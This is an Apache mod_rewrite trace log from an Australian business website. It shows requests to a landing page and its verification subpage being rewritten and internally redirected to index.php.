[Mon Nov 10 18:42:34.120628 2025] [rewrite:trace2] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0032b00/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:34.120640 2025] [rewrite:trace3] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0032b00/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:34.120654 2025] [rewrite:trace2] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0032b00/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:34.120665 2025] [rewrite:trace2] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0032b00/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:34.120675 2025] [rewrite:trace1] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0032b00/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:34.120844 2025] [rewrite:trace3] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0003c88/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:34.120860 2025] [rewrite:trace3] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0003c88/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:34.120910 2025] [rewrite:trace3] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0003c88/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:34.120918 2025] [rewrite:trace4] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0003c88/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:34.120918 2025] [rewrite:trace3] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0003c88/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:34.120918 2025] [rewrite:trace3] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0003c88/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:34.120918 2025] [rewrite:trace3] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0003c88/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:34.120930 2025] [rewrite:trace4] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0003c88/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:34.120940 2025] [rewrite:trace1] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0003c88/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:34.121163 2025] [rewrite:trace3] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0004980/subreq] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:34.121184 2025] [rewrite:trace3] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0004980/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:34.121198 2025] [rewrite:trace3] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0004980/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:34.121211 2025] [rewrite:trace4] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0004980/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:34.121225 2025] [rewrite:trace4] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0004980/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:34.121237 2025] [rewrite:trace4] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0004980/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:34.121246 2025] [rewrite:trace2] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0004980/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:34.121262 2025] [rewrite:trace3] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0004980/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:34.121273 2025] [rewrite:trace2] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0004980/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:34.121320 2025] [rewrite:trace2] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0004980/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:34.121330 2025] [rewrite:trace1] [pid 11171:tid 11186] mod_rewrite.c(505): [client 45.133.74.53:60379] 45.133.74.53 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe8f0004980/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:35.323621 2025] [rewrite:trace3] [pid 11171:tid 11192] mod_rewrite.c(505): [client 80.94.92.135:53360] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0505c0/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:35.323713 2025] [rewrite:trace3] [pid 11171:tid 11192] mod_rewrite.c(505): [client 80.94.92.135:53360] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0505c0/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:35.323734 2025] [rewrite:trace4] [pid 11171:tid 11192] mod_rewrite.c(505): [client 80.94.92.135:53360] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0505c0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:35.323753 2025] [rewrite:trace4] [pid 11171:tid 11192] mod_rewrite.c(505): [client 80.94.92.135:53360] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0505c0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:35.323767 2025] [rewrite:trace4] [pid 11171:tid 11192] mod_rewrite.c(505): [client 80.94.92.135:53360] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0505c0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:35.323776 2025] [rewrite:trace2] [pid 11171:tid 11192] mod_rewrite.c(505): [client 80.94.92.135:53360] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0505c0/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:35.323787 2025] [rewrite:trace3] [pid 11171:tid 11192] mod_rewrite.c(505): [client 80.94.92.135:53360] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0505c0/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:35.323800 2025] [rewrite:trace2] [pid 11171:tid 11192] mod_rewrite.c(505): [client 80.94.92.135:53360] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0505c0/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:35.323811 2025] [rewrite:trace2] [pid 11171:tid 11192] mod_rewrite.c(505): [client 80.94.92.135:53360] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0505c0/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:35.323820 2025] [rewrite:trace1] [pid 11171:tid 11192] mod_rewrite.c(505): [client 80.94.92.135:53360] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0505c0/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:35.323939 2025] [rewrite:trace3] [pid 11171:tid 11192] mod_rewrite.c(505): [client 80.94.92.135:53360] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e3588/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:35.323961 2025] [rewrite:trace3] [pid 11171:tid 11192] mod_rewrite.c(505): [client 80.94.92.135:53360] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e3588/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:35.323971 2025] [rewrite:trace3] [pid 11171:tid 11192] mod_rewrite.c(505): [client 80.94.92.135:53360] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e3588/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:35.323984 2025] [rewrite:trace4] [pid 11171:tid 11192] mod_rewrite.c(505): [client 80.94.92.135:53360] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e3588/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:35.323995 2025] [rewrite:trace3] [pid 11171:tid 11192] mod_rewrite.c(505): [client 80.94.92.135:53360] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e3588/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:35.324005 2025] [rewrite:trace3] [pid 11171:tid 11192] mod_rewrite.c(505): [client 80.94.92.135:53360] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e3588/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:35.324021 2025] [rewrite:trace3] [pid 11171:tid 11192] mod_rewrite.c(505): [client 80.94.92.135:53360] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e3588/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:35.324038 2025] [rewrite:trace4] [pid 11171:tid 11192] mod_rewrite.c(505): [client 80.94.92.135:53360] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e3588/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:35.324049 2025] [rewrite:trace1] [pid 11171:tid 11192] mod_rewrite.c(505): [client 80.94.92.135:53360] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e3588/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:35.324243 2025] [rewrite:trace3] [pid 11171:tid 11192] mod_rewrite.c(505): [client 80.94.92.135:53360] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e07c0/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:35.324267 2025] [rewrite:trace3] [pid 11171:tid 11192] mod_rewrite.c(505): [client 80.94.92.135:53360] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e07c0/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:35.324281 2025] [rewrite:trace4] [pid 11171:tid 11192] mod_rewrite.c(505): [client 80.94.92.135:53360] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e07c0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:35.324295 2025] [rewrite:trace4] [pid 11171:tid 11192] mod_rewrite.c(505): [client 80.94.92.135:53360] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e07c0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:35.324324 2025] [rewrite:trace4] [pid 11171:tid 11192] mod_rewrite.c(505): [client 80.94.92.135:53360] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e07c0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:35.324356 2025] [rewrite:trace2] [pid 11171:tid 11192] mod_rewrite.c(505): [client 80.94.92.135:53360] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e07c0/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:35.324366 2025] [rewrite:trace3] [pid 11171:tid 11192] mod_rewrite.c(505): [client 80.94.92.135:53360] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e07c0/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:35.324381 2025] [rewrite:trace2] [pid 11171:tid 11192] mod_rewrite.c(505): [client 80.94.92.135:53360] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e07c0/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:35.324392 2025] [rewrite:trace2] [pid 11171:tid 11192] mod_rewrite.c(505): [client 80.94.92.135:53360] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e07c0/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:35.324401 2025] [rewrite:trace1] [pid 11171:tid 11192] mod_rewrite.c(505): [client 80.94.92.135:53360] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e07c0/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:37.515990 2025] [rewrite:trace3] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e3ce0/initial] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:37.516061 2025] [rewrite:trace3] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e3ce0/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:37.516072 2025] [rewrite:trace3] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e3ce0/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:37.516088 2025] [rewrite:trace4] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e3ce0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:37.516111 2025] [rewrite:trace4] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e3ce0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:37.516124 2025] [rewrite:trace4] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e3ce0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:37.516134 2025] [rewrite:trace2] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e3ce0/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:37.516146 2025] [rewrite:trace3] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e3ce0/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:37.516158 2025] [rewrite:trace2] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e3ce0/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:37.516168 2025] [rewrite:trace2] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e3ce0/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:37.516178 2025] [rewrite:trace1] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0e3ce0/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:37.516287 2025] [rewrite:trace3] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c020b98/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:37.516303 2025] [rewrite:trace3] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c020b98/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:37.516348 2025] [rewrite:trace3] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c020b98/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
